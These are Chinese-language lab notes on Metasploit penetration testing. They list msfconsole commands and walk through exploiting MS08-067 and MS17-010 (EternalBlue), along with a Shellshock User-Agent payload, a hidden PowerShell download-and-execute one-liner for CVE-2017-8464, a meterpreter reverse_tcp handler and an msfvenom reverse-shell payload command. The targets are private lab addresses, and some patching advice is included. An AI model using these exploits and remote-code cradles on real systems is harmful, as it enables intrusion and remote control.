06-Kali之MSF渗透测试

MSF

rhost 目标地址
lhost 原地址

启动

msfconsole 
msfconsole -q
msfconsole -h

MSF Command

back
banner

check
color
connect
exit
grep

info
jobs 对工作在后台的进程进行操作
kill
search

search mysql
search name mysql
search ms17-010   永恒之蓝漏洞

platform

type

search type:exploit
search type:post

author

search author:dookie

multiple

sessions
sessions命令允许列出、与衍生会话交互和终止衍生会话。

sessions -l

sessions -i  1

set

set rhost  xxxxxxx
show options

show encoders

unset

setg

show

show options
show exploits
show  payloads
show targets
show auxiliary
show advanced

use

MSF漏洞利用

MS08-067漏洞

msfconsole
search ms08-067
use 0
options
set rhosts 192.168.226.132(被攻击主机ip)
set target 34
set payload windows/meterpreter/bind_tcp
options
run

BIND_TCP 主动攻击

MS10-018漏洞

REVERSE_TCP 钓鱼网站

MS17-010漏洞

扩展内容

1、Win7系统下的MS17-010利用条件：

• a 防火墙必须允许SMB流量出入 关闭防火墙
• b 目标必须使用SMBv1协议 满足
• c 目标必须缺少MS17-010补丁 满足
• d 目标必须允许匿名IPC $和管道名 默认不满足 (如何设置满足d？ )
  如何设置满足d？
  
  

2、MS17-010的五个漏洞利用模块：

0 exploit/windows/smb/ms17_010_eternalblue 满足abc条件，能打成功
1 exploit/windows/smb/ms17_010_psexec 满足abc条件，不能打成功
2 auxiliary/admin/smb/ms17_010_command 满足abc条件，不能打成功
3 auxiliary/scanner/smb/smb_ms17_010（扫描目标系统有没有漏洞，不进行利用获取） 仅仅扫描
4 exploit/windows/smb/smb_doublepulsar_rce（SMB后门，不用关注）
利用条件：0模块不需要开启共享就能直接打，1、2则需要开启共享之后才能攻击成功。
返回结果：0、1都能反弹shell进行命令控制(meterpreter)，
2只能返回命令执行的结果( set commond whoami/dir/pwd)。

修复方法：

1. 关闭端口， 会影响业务，不太好

2. 打补丁， 从根本上修复漏洞
   kb4012212
   

3. 开防火墙， 配置白名单

4. 外围防护设备做策略

Bash Shellshock CVE-2014-6271（破壳）

docker run -d -p 8084:80 --name cve-2014-6271 vulnerables/cve-2014-6271

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/i

(震网三代）远程命令执行漏洞 CVE-2017-8464

漏洞利用

service apache2 start

192.168.226.133/wan.ps1


powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.226.133/wan.ps1');test.ps1"


use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

show options

set LHOST 192.168.226.133

set lport  4443

exploit

CVE-2018-4878漏洞

──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.133  lport=4445 -f python>magedu_shellcode.txt

总结：如果该插件不受支持，就不能攻击。

MSF攻击流程总结